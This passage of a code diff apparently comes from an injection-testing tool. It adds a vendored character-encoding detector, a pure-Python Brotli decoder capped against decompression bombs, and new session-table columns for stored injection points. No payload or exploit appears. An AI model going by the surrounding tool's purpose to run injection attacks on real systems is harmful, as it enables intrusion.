InputState.PURE_ASCII and \ + self.ESC_DETECTOR.search(self._last_char + byte_str): + self._input_state = InputState.ESC_ASCII + + self._last_char = byte_str[-1:] + + # If we've seen escape sequences, use the EscCharSetProber, which + # uses a simple state machine to check for known escape sequences in + # HZ and ISO-2022 encodings, since those are the only encodings that + # use such sequences. + if self._input_state == InputState.ESC_ASCII: + if not self._esc_charset_prober: + self._esc_charset_prober = EscCharSetProber(self.lang_filter) + if self._esc_charset_prober.feed(byte_str) == ProbingState.FOUND_IT: + self.result = {'encoding': + self._esc_charset_prober.charset_name, + 'confidence': + self._esc_charset_prober.get_confidence(), + 'language': + self._esc_charset_prober.language} + self.done = True + # If we've seen high bytes (i.e., those with values greater than 127), + # we need to do more complicated checks using all our multi-byte and + # single-byte probers that are left. The single-byte probers + # use character bigram distributions to determine the encoding, whereas + # the multi-byte probers use a combination of character unigram and + # bigram distributions. + elif self._input_state == InputState.HIGH_BYTE: + if not self._charset_probers: + self._charset_probers = [MBCSGroupProber(self.lang_filter)] + # If we're checking non-CJK encodings, use single-byte prober + if self.lang_filter & LanguageFilter.NON_CJK: + self._charset_probers.append(SBCSGroupProber()) + self._charset_probers.append(Latin1Prober()) + for prober in self._charset_probers: + if prober.feed(byte_str) == ProbingState.FOUND_IT: + self.result = {'encoding': prober.charset_name, + 'confidence': prober.get_confidence(), + 'language': prober.language} + self.done = True + break + if self.WIN_BYTE_DETECTOR.search(byte_str): + self._has_win_bytes = True + + def close(self): + """ + Stop analyzing the current document and come up with a final + prediction. + + :returns: The ``result`` attribute, a ``dict`` with the keys + `encoding`, `confidence`, and `language`. + """ + # Don't bother with checks if we're already done + if self.done: + return self.result + self.done = True + + if not self._got_data: + self.logger.debug('no data received!') + + # Default to ASCII if it is all we've seen so far + elif self._input_state == InputState.PURE_ASCII: + self.result = {'encoding': 'ascii', + 'confidence': 1.0, + 'language': ''} + + # If we have seen non-ASCII, return the best that met MINIMUM_THRESHOLD + elif self._input_state == InputState.HIGH_BYTE: + prober_confidence = None + max_prober_confidence = 0.0 + max_prober = None + for prober in self._charset_probers: + if not prober: + continue + prober_confidence = prober.get_confidence() + if prober_confidence > max_prober_confidence: + max_prober_confidence = prober_confidence + max_prober = prober + if max_prober and (max_prober_confidence > self.MINIMUM_THRESHOLD): + charset_name = max_prober.charset_name + lower_charset_name = max_prober.charset_name.lower() + confidence = max_prober.get_confidence() + # Use Windows encoding name instead of ISO-8859 if we saw any + # extra Windows-specific bytes + if lower_charset_name.startswith('iso-8859'): + if self._has_win_bytes: + charset_name = self.ISO_WIN_MAP.get(lower_charset_name, + charset_name) + self.result = {'encoding': charset_name, + 'confidence': confidence, + 'language': max_prober.language} + + # Log all prober confidences if none met MINIMUM_THRESHOLD + if self.logger.getEffectiveLevel() <= logging.DEBUG: + if self.result['encoding'] is None: + self.logger.debug('no probers hit minimum threshold') + for group_prober in self._charset_probers: + if not group_prober: + continue + if isinstance(group_prober, CharSetGroupProber): + for prober in group_prober.probers: + self.logger.debug('%s %s confidence = %s', + prober.charset_name, + prober.language, + prober.get_confidence()) + else: + self.logger.debug('%s %s confidence = %s', + group_prober.charset_name, + group_prober.language, + group_prober.get_confidence()) + return self.result diff --git a/src/thirdparty/chardet/utf8prober.py b/src/thirdparty/chardet/utf8prober.py new file mode 100644 index 0000000000..6c3196cc2d --- /dev/null +++ b/src/thirdparty/chardet/utf8prober.py @@ -0,0 +1,82 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .charsetprober import CharSetProber +from .enums import ProbingState, MachineState +from .codingstatemachine import CodingStateMachine +from .mbcssm import UTF8_SM_MODEL + + + +class UTF8Prober(CharSetProber): + ONE_CHAR_PROB = 0.5 + + def __init__(self): + super(UTF8Prober, self).__init__() + self.coding_sm = CodingStateMachine(UTF8_SM_MODEL) + self._num_mb_chars = None + self.reset() + + def reset(self): + super(UTF8Prober, self).reset() + self.coding_sm.reset() + self._num_mb_chars = 0 + + @property + def charset_name(self): + return "utf-8" + + @property + def language(self): + return "" + + def feed(self, byte_str): + for c in byte_str: + coding_state = self.coding_sm.next_state(c) + if coding_state == MachineState.ERROR: + self._state = ProbingState.NOT_ME + break + elif coding_state == MachineState.ITS_ME: + self._state = ProbingState.FOUND_IT + break + elif coding_state == MachineState.START: + if self.coding_sm.get_current_charlen() >= 2: + self._num_mb_chars += 1 + + if self.state == ProbingState.DETECTING: + if self.get_confidence() > self.SHORTCUT_THRESHOLD: + self._state = ProbingState.FOUND_IT + + return self.state + + def get_confidence(self): + unlike = 0.99 + if self._num_mb_chars < 6: + unlike *= self.ONE_CHAR_PROB ** self._num_mb_chars + return 1.0 - unlike + else: + return unlike diff --git a/src/thirdparty/chardet/version.py b/src/thirdparty/chardet/version.py new file mode 100644 index 0000000000..70369b9d66 --- /dev/null +++ b/src/thirdparty/chardet/version.py @@ -0,0 +1,9 @@ +""" +This module exists only to simplify retrieving the version number of chardet +from within setup.py and from chardet subpackages. + +:author: Dan Blanchard (dan.blanchard@gmail.com) +""" + +__version__ = "4.0.0" +VERSION = __version__.split('.') diff --git a/src/utils/brotli.py b/src/utils/brotli.py new file mode 100644 index 0000000000..cb040b589c --- /dev/null +++ b/src/utils/brotli.py @@ -0,0 +1,732 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import hashlib +import zipfile +import threading + +""" +A page that arrives compressed with Brotli (RFC 7932), read back like any other. + +Decoding only - nothing here compresses. A target behind a CDN answers in Brotli as readily as in +gzip, and a page that cannot be read is a page nothing can be found in - so asking for it and then +depending on a library that may not be installed is not worth the findings it costs. + +The static dictionary and the context table the format is defined against are data rather than +code: RFC 7932, Appendix A, read from 'data/txt/brotli-dictionary.tx_'. +""" + +class BrotliError(Exception): + pass + +# What the packed table holds: the dictionary the format defines, and the context table after it. +DICTIONARY_LENGTH = 122784 +CONTEXT_LENGTH = 2048 +# Checked on load, so a swapped or truncated table is said out loud rather than quietly mis-decoded. +DICTIONARY_DIGEST = "20e42eb1b511c21806d4d227d07e5dd06877d8ce7b3a817f378f313653f35c70" + +_TABLES = None +_TABLES_LOCK = threading.Lock() + +""" +The dictionary's words are bucketed by length: 'size bits' says how many bits index a bucket, and +where each bucket starts follows from that. +""" +WORD_SIZE_BITS = (0, 0, 0, 0, 10, 10, 11, 11, 10, 10, 10, 10, 10, 9, 9, 8, 7, 7, 8, 7, 7, 6, 6, 5, 5) +WORD_OFFSETS = [0] * (len(WORD_SIZE_BITS) + 1) +for _length in range(len(WORD_SIZE_BITS)): + WORD_OFFSETS[_length + 1] = WORD_OFFSETS[_length] + ((_length << WORD_SIZE_BITS[_length]) if WORD_SIZE_BITS[_length] else 0) + +# What is done to a dictionary word before it is used, beyond the prefix and suffix put around it. +TRANSFORM_IDENTITY = 0 +TRANSFORM_UPPERCASE_FIRST = 10 +TRANSFORM_UPPERCASE_ALL = 11 +TRANSFORM_OMIT_FIRST = 12 + +""" +The 121 transforms the format defines, in the order it defines them: what goes before the word, +what is done to the word, and what goes after it. +""" +TRANSFORMS = ( + (b'', 0, b''), (b'', 0, b' '), + (b' ', 0, b' '), (b'', 12, b''), + (b'', 10, b' '), (b'', 0, b' the '), + (b' ', 0, b''), (b's ', 0, b' '), + (b'', 0, b' of '), (b'', 10, b''), + (b'', 0, b' and '), (b'', 13, b''), + (b'', 1, b''), (b', ', 0, b' '), + (b'', 0, b', '), (b' ', 10, b' '), + (b'', 0, b' in '), (b'', 0, b' to '), + (b'e ', 0, b' '), (b'', 0, b'"'), + (b'', 0, b'.'), (b'', 0, b'">'), + (b'', 0, b'\n'), (b'', 3, b''), + (b'', 0, b']'), (b'', 0, b' for '), + (b'', 14, b''), (b'', 2, b''), + (b'', 0, b' a '), (b'', 0, b' that '), + (b' ', 10, b''), (b'', 0, b'. '), + (b'.', 0, b''), (b' ', 0, b', '), + (b'', 15, b''), (b'', 0, b' with '), + (b'', 0, b"'"), (b'', 0, b' from '), + (b'', 0, b' by '), (b'', 16, b''), + (b'', 17, b''), (b' the ', 0, b''), + (b'', 4, b''), (b'', 0, b'. The '), + (b'', 11, b''), (b'', 0, b' on '), + (b'', 0, b' as '), (b'', 0, b' is '), + (b'', 7, b''), (b'', 1, b'ing '), + (b'', 0, b'\n\t'), (b'', 0, b':'), + (b' ', 0, b'. '), (b'', 0, b'ed '), + (b'', 20, b''), (b'', 18, b''), + (b'', 6, b''), (b'', 0, b'('), + (b'', 10, b', '), (b'', 8, b''), + (b'', 0, b' at '), (b'', 0, b'ly '), + (b' the ', 0, b' of '), (b'', 5, b''), + (b'', 9, b''), (b' ', 10, b', '), + (b'', 10, b'"'), (b'.', 0, b'('), + (b'', 11, b' '), (b'', 10, b'">'), + (b'', 0, b'="'), (b' ', 0, b'.'), + (b'.com/', 0, b''), (b' the ', 0, b' of the '), + (b'', 10, b"'"), (b'', 0, b'. This '), + (b'', 0, b','), (b'.', 0, b' '), + (b'', 10, b'('), (b'', 10, b'.'), + (b'', 0, b' not '), (b' ', 0, b'="'), + (b'', 0, b'er '), (b' ', 11, b' '), + (b'', 0, b'al '), (b' ', 11, b''), + (b'', 0, b"='"), (b'', 11, b'"'), + (b'', 10, b'. '), (b' ', 0, b'('), + (b'', 0, b'ful '), (b' ', 10, b'. '), + (b'', 0, b'ive '), (b'', 0, b'less '), + (b'', 11, b"'"), (b'', 0, b'est '), + (b' ', 10, b'.'), (b'', 11, b'">'), + (b' ', 0, b"='"), (b'', 10, b','), + (b'', 0, b'ize '), (b'', 11, b'.'), + (b'\xc2\xa0', 0, b''), (b' ', 0, b','), + (b'', 10, b'="'), (b'', 11, b'="'), + (b'', 0, b'ous '), (b'', 11, b', '), + (b'', 10, b"='"), (b' ', 10, b','), + (b' ', 11, b'="'), (b' ', 11, b', '), + (b'', 11, b','), (b'', 11, b'('), + (b'', 11, b'. '), (b' ', 11, b'.'), + (b'', 11, b"='"), (b' ', 11, b'. '), + (b' ', 10, b'="'), (b' ', 11, b"='"), + (b' ', 10, b"='"), +) + +""" +How long a run is: what each code stands for on its own, and how many bits are read after it to say +how far past that the run goes. +""" +INSERT_LENGTHS = ((0, 0), (0, 1), (0, 2), (0, 3), (0, 4), (0, 5), (1, 6), (1, 8), + (2, 10), (2, 14), (3, 18), (3, 26), (4, 34), (4, 50), (5, 66), (5, 98), + (6, 130), (7, 194), (8, 322), (9, 578), (10, 1090), (12, 2114), (14, 6210), (24, 22594)) +COPY_LENGTHS = ((0, 2), (0, 3), (0, 4), (0, 5), (0, 6), (0, 7), (0, 8), (0, 9), + (1, 10), (1, 12), (2, 14), (2, 18), (3, 22), (3, 30), (4, 38), (4, 54), + (5, 70), (5, 102), (6, 134), (7, 198), (8, 326), (9, 582), (10, 1094), (24, 2118)) +BLOCK_LENGTHS = ((2, 1), (2, 5), (2, 9), (2, 13), (3, 17), (3, 25), (3, 33), (3, 41), + (4, 49), (4, 65), (4, 81), (4, 97), (5, 113), (5, 145), (5, 177), (5, 209), + (6, 241), (6, 305), (7, 369), (8, 497), (9, 753), (10, 1265), (11, 2289), (12, 4337), + (13, 8433), (24, 16625)) + +# Which insert and which copy an insert-and-copy code stands for. +INSERT_RANGES = (0, 0, 8, 8, 0, 16, 8, 16, 16) +COPY_RANGES = (0, 8, 0, 8, 16, 0, 16, 8, 16) + +# The order the code-length code's own lengths arrive in, and the fixed code they are read with. +CODE_LENGTH_ORDER = (1, 2, 3, 4, 0, 5, 17, 6, 16, 7, 8, 9, 10, 11, 12, 13, 14, 15) +CODE_LENGTH_BITS = (2, 2, 2, 3, 2, 2, 2, 4, 2, 2, 2, 3, 2, 2, 2, 4) +CODE_LENGTH_VALUES = (0, 4, 3, 2, 0, 4, 3, 1, 0, 4, 3, 2, 0, 4, 3, 5) +# The two lengths that repeat what came before them rather than standing for a symbol of their own. +REPEAT_PREVIOUS = 16 +REPEAT_ZERO = 17 +# What a length is taken to be before any has been read, for a repeat that arrives first. +INITIAL_REPEATED_LENGTH = 8 + +""" +The four distances a stream starts with, before any of its own have been used - oldest first, so +the one a stream finds in hand as its last distance is the 4 at the end rather than the 16. +""" +INITIAL_DISTANCES = (16, 15, 11, 4) +# How much a page is allowed to decompress into, where the caller does not say. +DEFAULT_MAX_OUTPUT = 100 * 1024 * 1024 + +""" +The dictionary and the context table, read once and handed to every caller after that. +""" +def load_tables(): + global _TABLES + if _TABLES is not None: + return _TABLES + with _TABLES_LOCK: + if _TABLES is not None: + return _TABLES + try: + path = os.path.join(os.path.dirname(__file__), os.pardir, os.pardir, "data", "txt", "brotli-dictionary.tx_") + archive = zipfile.ZipFile(path) + try: + names = archive.namelist() + if len(names) != 1: + raise BrotliError("unexpected layout in the Brotli table archive") + raw = archive.read(names[0]) + finally: + archive.close() + except BrotliError: + raise + except Exception as err: + raise BrotliError("the Brotli tables could not be read (" + str(err) + ")") + if len(raw) != DICTIONARY_LENGTH + CONTEXT_LENGTH: + raise BrotliError("the Brotli tables are not the length they should be") + if hashlib.sha256(raw[:DICTIONARY_LENGTH]).hexdigest() != DICTIONARY_DIGEST: + raise BrotliError("the Brotli dictionary is not the one this decoder was written against") + # Published together, so a reader on another thread never sees one without the other. + _TABLES = (bytearray(raw[:DICTIONARY_LENGTH]), bytearray(raw[DICTIONARY_LENGTH:])) + return _TABLES + +""" +The stream read a bit at a time, the lowest bit of each byte first, which is the order it was +written in. +""" +class _Reader(object): + __slots__ = ("data", "length", "position", "accumulator", "available") + + def __init__(self, data): + self.data = bytearray(data) + self.length = len(self.data) + self.position = 0 + self.accumulator = 0 + self.available = 0 + + # One bit, with the next byte pulled in once the last one is spent. + def bit(self): + if self.available == 0: + if self.position >= self.length: + raise BrotliError("the Brotli stream ends in the middle of a code") + self.accumulator = self.data[self.position] + self.position += 1 + self.available = 8 + value = self.accumulator & 1 + self.accumulator >>= 1 + self.available -= 1 + return value + + # As many bits as asked for, the first one read being the lowest of the value. + def bits(self, count): + value = 0 + for shift in range(count): + value |= self.bit() << shift + return value + + """ + The next bits without spending them, for a code that is looked up before its length is known. + + What lies past the end of the stream reads as zero rather than as an error: the code being looked + up may not need those bits, and the ones it does need are spent in the usual way. + """ + def peek(self, count): + saved = (self.position, self.accumulator, self.available) + value = 0 + try: + for shift in range(count): + if self.available == 0 and self.position >= self.length: + break + value |= self.bit() << shift + finally: + self.position, self.accumulator, self.available = saved + return value + + # Spend bits a lookup has already accounted for. + def skip(self, count): + for _ in range(count): + self.bit() + + # Drop what is left of the byte in hand, for the parts written out whole bytes at a time. + def align(self): + self.accumulator = 0 + self.available = 0 + + # Whole bytes, taken once the reader is back on a byte boundary. + def take(self, count): + if self.position + count > self.length: + raise BrotliError("the Brotli stream ends in the middle of a block") + chunk = self.data[self.position:self.position + count] + self.position += count + return chunk + +""" +A prefix code, held as the number of codes at each length and the symbols in the order their codes +run - which is what reading one bit at a time asks for. No lookup table is built: a page is small +enough that the difference is not worth the memory. +""" +class _Code(object): + __slots__ = ("counts", "symbols", "single") + + def __init__(self, lengths): + counts = [0] * 16 + symbols = [] + for length in lengths: + if length: + counts[length] += 1 + for length in range(1, 16): + if counts[length]: + for symbol in range(len(lengths)): + if lengths[symbol] == length: + symbols.append(symbol) + if not symbols: + raise BrotliError("a Brotli prefix code stands for no symbol at all") + self.counts = counts + self.symbols = symbols + # A code of one symbol is read without spending a bit: there is nothing to tell apart. + self.single = symbols[0] if len(symbols) == 1 else None + + def read(self, reader): + if self.single is not None: + return self.single + code = 0 + first = 0 + index = 0 + for length in range(1, 16): + code |= reader.bit() + count = self.counts[length] + if code - first < count: + return self.symbols[index + (code - first)] + index += count + first = (first + count) << 1 + code <<= 1 + raise BrotliError("a Brotli prefix code runs past the length a code can have") + +""" +A code given as the few symbols it stands for, rather than as a length for every symbol. +""" +def _read_simple_code(reader, alphabet_size): + width = max(1, (alphabet_size - 1).bit_length()) + count = reader.bits(2) + 1 + symbols = [] + for _ in range(count): + symbol = reader.bits(width) + if symbol >= alphabet_size or symbol in symbols: + raise BrotliError("a Brotli prefix code names a symbol twice or one that does not exist") + symbols.append(symbol) + lengths = [0] * alphabet_size + if count == 1: + lengths[symbols[0]] = 1 + elif count == 2: + lengths[symbols[0]] = lengths[symbols[1]] = 1 + elif count == 3: + lengths[symbols[0]] = 1 + lengths[symbols[1]] = lengths[symbols[2]] = 2 + # Four symbols come either as an even code or as one that favours the first of them. + elif reader.bit(): + lengths[symbols[0]] = 1 + lengths[symbols[1]] = 2 + lengths[symbols[2]] = lengths[symbols[3]] = 3 + else: + for symbol in symbols: + lengths[symbol] = 2 + return _Code(lengths) + +""" +A code given as a length for every symbol, those lengths being written out with a code of their own. +""" +def _read_complex_code(reader, alphabet_size, skip): + meta_lengths = [0] * 18 + space = 32 + used = 0 + for index in range(skip, 18): + lookup = reader.peek(4) + reader.skip(CODE_LENGTH_BITS[lookup]) + length = CODE_LENGTH_VALUES[lookup] + meta_lengths[CODE_LENGTH_ORDER[index]] = length + if length: + space -= 32 >> length + used += 1 + if space <= 0: + break + if used != 1 and space != 0: + raise BrotliError("the lengths of a Brotli code do not add up to a code") + meta_code = _Code(meta_lengths) + + lengths = [0] * alphabet_size + symbol = 0 + space = 32768 + used = 0 + previous = INITIAL_REPEATED_LENGTH + repeat = 0 + repeat_length = 0 + while symbol < alphabet_size and space > 0: + length = meta_code.read(reader) + if length < REPEAT_PREVIOUS: + lengths[symbol] = length + symbol += 1 + if length: + previous = length + space -= 32768 >> length + used += 1 + repeat = 0 + continue + """ + The two lengths that stand for a run rather than for a symbol: one repeats the last length + used, the other repeats nothing at all. A run carried straight on from the one before it counts + from where that one left off, rather than starting again. + """ + extra_bits = length - 14 + written = previous if length == REPEAT_PREVIOUS else 0 + if repeat_length != written: + repeat = 0 + repeat_length = written + before = repeat + if repeat > 0: + repeat = (repeat - 2) << extra_bits + repeat += reader.bits(extra_bits) + 3 + run = repeat - before + if symbol + run > alphabet_size: + raise BrotliError("a Brotli code repeats past the symbols it has") + for _ in range(run): + lengths[symbol] = written + symbol += 1 + if written: + space -= (32768 >> written) * run + used += run + if used != 1 and space != 0: + raise BrotliError("the lengths of a Brotli code do not add up to a code") + return _Code(lengths) + +# A prefix code, however it was written out. +def _read_code(reader, alphabet_size): + marker = reader.bits(2) + if marker == 1: + return _read_simple_code(reader, alphabet_size) + return _read_complex_code(reader, alphabet_size, marker) + +""" +How many kinds of block a meta-block switches between, written out as the count it is short of. +""" +def _read_type_count(reader): + if not reader.bit(): + return 1 + width = reader.bits(3) + if width == 0: + return 2 + return reader.bits(width) + (1 << width) + 1 + +""" +Which tree each context is read with, undone from the runs and the ordering it was sent in. +""" +def _read_context_map(reader, tree_count, size): + run_length_max = 0 + if reader.bit(): + run_length_max = reader.bits(4) + 1 + code = _read_code(reader, tree_count + run_length_max) + values = [] + while len(values) < size: + symbol = code.read(reader) + if symbol == 0: + values.append(0) + elif symbol <= run_length_max: + run = (1 << symbol) + reader.bits(symbol) + if len(values) + run > size: + raise BrotliError("a Brotli context map runs past its own length") + values.extend([0] * run) + else: + values.append(symbol - run_length_max) + # Sent as how far each value had moved since it was last used, rather than as the value itself. + if reader.bit(): + order = list(range(256)) + for index in range(size): + position = values[index] + value = order[position] + values[index] = value + del order[position] + order.insert(0, value) + for value in values: + if value >= tree_count: + raise BrotliError("a Brotli context map names a tree that was never sent") + return values + +# The first character of a word written as a capital, or every character of it. +def _upper_case(word, once): + result = bytearray(word) + index = 0 + while index < len(result): + first = result[index] + if first < 0xC0: + if 0x61 <= first <= 0x7A: + result[index] ^= 32 + index += 1 + elif first < 0xE0: + if index + 1 < len(result): + result[index + 1] ^= 32 + index += 2 + else: + if index + 2 < len(result): + result[index + 2] ^= 5 + index += 3 + if once: + break + return result + +""" +A dictionary word as the transform asked for leaves it. +""" +def _transform(word, transform_id): + if transform_id >= len(TRANSFORMS): + raise BrotliError("a Brotli stream asks for a word transform that does not exist") + prefix, kind, suffix = TRANSFORMS[transform_id] + if kind == TRANSFORM_IDENTITY: + body = bytes(word) + elif kind < TRANSFORM_UPPERCASE_FIRST: + body = bytes(word[:max(0, len(word) - kind)]) + elif kind == TRANSFORM_UPPERCASE_FIRST: + body = bytes(_upper_case(word, True)) + elif kind == TRANSFORM_UPPERCASE_ALL: + body = bytes(_upper_case(word, False)) + else: + body = bytes(word[min(len(word), kind - TRANSFORM_OMIT_FIRST + 1):]) + return prefix + body + suffix + +""" +How far back a copy may reach: where the window ends, or where the output begins. +""" +def _read_window_bits(reader): + if not reader.bit(): + return 16 + value = reader.bits(3) + if value: + return 17 + value + value = reader.bits(3) + if value == 1: + raise BrotliError("the Brotli stream asks for a window this decoder does not read") + if value: + return 8 + value + return 17 + +""" +The distance a code stands for, which is either one of the last four used or one spelled out. +""" +def _read_distance(reader, code, distances, index, postfix, direct): + if code == 0: + return distances[index & 3] + if code < 4: + return distances[(index - code) & 3] + if code < 16: + if code < 10: + base = distances[index & 3] + step = ((code - 4) >> 1) + 1 + else: + base = distances[(index - 1) & 3] + step = ((code - 10) >> 1) + 1 + distance = base + (step if code & 1 else -step) + if distance <= 0: + raise BrotliError("a Brotli distance reaches back past the start of the output") + return distance + value = code - 16 + if value < direct: + return value + 1 + value -= direct + extra_bits = 1 + (value >> (postfix + 1)) + high = value >> postfix + low = value & ((1 << postfix) - 1) + offset = ((2 + (high & 1)) << extra_bits) - 4 + return ((offset + reader.bits(extra_bits)) << postfix) + low + direct + 1 + +""" +Read a Brotli stream and hand back what it stands for. + +Stopped at 'max_output' whatever the stream says: a few hundred bytes can name gigabytes, and +reading that whole is how a target empties the memory of the machine testing it. +""" +def decompress(data, max_output=DEFAULT_MAX_OUTPUT): + dictionary, context_table = load_tables() + reader = _Reader(data) + max_backward = (1 << _read_window_bits(reader)) - 16 + + output = bytearray() + distances = list(INITIAL_DISTANCES) + distance_index = len(distances) - 1 + + while True: + last = reader.bit() + if last and reader.bit(): + break + + nibbles = reader.bits(2) + if nibbles == 3: + # Something the stream carries for its own reasons and nothing is read from: skipped whole. + if reader.bit(): + raise BrotliError("a Brotli meta-block sets a bit that has to be zero") + count = reader.bits(2) + skip = 0 + for index in range(count): + piece = reader.bits(8) + if index + 1 == count and count > 1 and piece == 0: + raise BrotliError("a Brotli meta-block gives its length with a spare byte") + skip |= piece << (index * 8) + if count: + skip += 1 + reader.align() + reader.take(skip) + if last: + break + continue + + remaining = 0 + for index in range(nibbles + 4): + piece = reader.bits(4) + if index + 1 == nibbles + 4 and nibbles > 0 and piece == 0: + raise BrotliError("a Brotli meta-block gives its length with a spare nibble") + remaining |= piece << (index * 4) + remaining += 1 + + if not last and reader.bit(): + # Written out as it stands, so it is taken as it stands. + reader.align() + chunk = reader.take(remaining) + if len(output) + len(chunk) > max_output: + raise BrotliError("the Brotli stream decompresses to more than is allowed") + output.extend(chunk) + continue + + """ + How many kinds of literal, command and distance block this meta-block switches between, and the + codes that say which kind comes next and how long it runs for. Where there is only one kind, + nothing switches and the count is left past anything the meta-block can reach. + """ + kinds = [] + types = [0, 0, 0] + previous_types = [1, 1, 1] + counts = [0, 0, 0] + type_codes = [None, None, None] + count_codes = [None, None, None] + for category in range(3): + count = _read_type_count(reader) + kinds.append(count) + if count > 1: + type_codes[category] = _read_code(reader, count + 2) + count_codes[category] = _read_code(reader, len(BLOCK_LENGTHS)) + extra, offset = BLOCK_LENGTHS[count_codes[category].read(reader)] + counts[category] = offset + reader.bits(extra) + else: + counts[category] = 1 << 30 + + postfix = reader.bits(2) + direct = reader.bits(4) << postfix + context_modes = [reader.bits(2) for _ in range(kinds[0])] + + literal_trees = _read_type_count(reader) + if literal_trees > 1: + literal_map = _read_context_map(reader, literal_trees, kinds[0] * 64) + else: + literal_map = [0] * (kinds[0] * 64) + distance_trees = _read_type_count(reader) + if distance_trees > 1: + distance_map = _read_context_map(reader, distance_trees, kinds[2] * 4) + else: + distance_map = [0] * (kinds[2] * 4) + + literal_codes = [_read_code(reader, 256) for _ in range(literal_trees)] + command_codes = [_read_code(reader, 704) for _ in range(kinds[1])] + distance_codes = [_read_code(reader, 16 + direct + (48 << postfix)) for _ in range(distance_trees)] + + # The next kind of block of one category, and how long it runs for. + def switch(category): + symbol = type_codes[category].read(reader) + if symbol == 0: + following = previous_types[category] + elif symbol == 1: + following = (types[category] + 1) % kinds[category] + else: + following = symbol - 2 + if following >= kinds[category]: + raise BrotliError("a Brotli block switch names a kind of block that was not sent") + previous_types[category] = types[category] + types[category] = following + extra, offset = BLOCK_LENGTHS[count_codes[category].read(reader)] + counts[category] = offset + reader.bits(extra) + + while remaining > 0: + if counts[1] == 0: + switch(1) + counts[1] -= 1 + command = command_codes[types[1]].read(reader) + section = command >> 6 + carries_distance = section >= 2 + if carries_distance: + section -= 2 + extra, offset = INSERT_LENGTHS[INSERT_RANGES[section] + ((command >> 3) & 7)] + insert_length = offset + reader.bits(extra) + extra, offset = COPY_LENGTHS[COPY_RANGES[section] + (command & 7)] + copy_length = offset + reader.bits(extra) + + if insert_length > remaining: + raise BrotliError("a Brotli command writes past the end of its meta-block") + if len(output) + insert_length > max_output: + raise BrotliError("the Brotli stream decompresses to more than is allowed") + for _ in range(insert_length): + if counts[0] == 0: + switch(0) + counts[0] -= 1 + # Which tree a character is read with follows from the two characters before it. + base = context_modes[types[0]] << 9 + first = output[-1] if output else 0 + second = output[-2] if len(output) > 1 else 0 + context = context_table[base + first] | context_table[base + 256 + second] + output.append(literal_codes[literal_map[(types[0] << 6) + context]].read(reader)) + remaining -= insert_length + # The last command of a meta-block may end on its characters, with nothing copied after them. + if remaining <= 0: + break + + if carries_distance: + if counts[2] == 0: + switch(2) + counts[2] -= 1 + context = copy_length - 2 if copy_length < 5 else 3 + code = distance_codes[distance_map[(types[2] << 2) + context]].read(reader) + else: + code = 0 + distance = _read_distance(reader, code, distances, distance_index, postfix, direct) + + reach = max_backward if max_backward < len(output) else len(output) + if distance > reach: + # Past everything written so far, which is how the dictionary is asked for. + word_id = distance - reach - 1 + if copy_length < 4 or copy_length > 24: + raise BrotliError("a Brotli dictionary word is asked for at a length it cannot have") + words = 1 << WORD_SIZE_BITS[copy_length] + offset = WORD_OFFSETS[copy_length] + (word_id % words) * copy_length + piece = _transform(dictionary[offset:offset + copy_length], word_id // words) + if len(piece) > remaining: + raise BrotliError("a Brotli dictionary word writes past the end of its meta-block") + if len(output) + len(piece) > max_output: + raise BrotliError("the Brotli stream decompresses to more than is allowed") + output.extend(piece) + remaining -= len(piece) + continue + + if copy_length > remaining: + raise BrotliError("a Brotli copy writes past the end of its meta-block") + if len(output) + copy_length > max_output: + raise BrotliError("the Brotli stream decompresses to more than is allowed") + # A distance used again is not put back: only one spelled out afresh moves the four along. + if code != 0: + distance_index += 1 + distances[distance_index & 3] = distance + start = len(output) - distance + for step in range(copy_length): + output.append(output[start + step]) + remaining -= copy_length + + if last: + break + + return bytes(output) diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 76437930a0..923e8a999f 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -242,6 +242,15 @@ def clear(url): # Log any other unexpected errors critically settings.print_data_to_stdout(settings.print_critical_msg("Error in clear(): " + str(e))) +""" +Add any column a stored table was written before, so an older session file takes a newer row. +""" +def _ensure_columns(conn, table, columns): + existing = set(row[1] for row in conn.execute("PRAGMA table_info(\"" + table + "\");")) + for name, declaration in columns: + if name not in existing: + conn.execute("ALTER TABLE \"" + table + "\" ADD COLUMN " + name + " " + declaration + ";") + """ Store details of a successful injection point into the session database. Includes various metadata such as technique, payload, timing, vulnerability status, HTTP method, headers, and cookies. @@ -258,19 +267,25 @@ def import_injection_points(url, technique, injection_type, filename, separator, "shell VARCHAR, vuln_parameter VARCHAR, prefix VARCHAR, suffix VARCHAR, " "TAG VARCHAR, interpreter VARCHAR, payload VARCHAR, http_header VARCHAR, http_request_method VARCHAR, url_time_response INTEGER, " "timesec INTEGER, exec_time INTEGER, output_length INTEGER, is_vulnerable VARCHAR, data VARCHAR, cookie VARCHAR, tamper VARCHAR, " - "target_os VARCHAR, file_deleted VARCHAR DEFAULT '', web_root VARCHAR DEFAULT '', tmp_path VARCHAR DEFAULT '');") + "target_os VARCHAR, file_deleted VARCHAR DEFAULT '', web_root VARCHAR DEFAULT '', tmp_path VARCHAR DEFAULT '', " + "second_url VARCHAR DEFAULT '', second_req VARCHAR DEFAULT '', csrf_token VARCHAR DEFAULT '');") + + # The options a stored payload was made with, for a session file that predates them. + _ensure_columns(conn, table, (("second_url", "VARCHAR DEFAULT ''"), ("second_req", "VARCHAR DEFAULT ''"), ("csrf_token", "VARCHAR DEFAULT ''"))) # Check if an exact matching record already exists to avoid 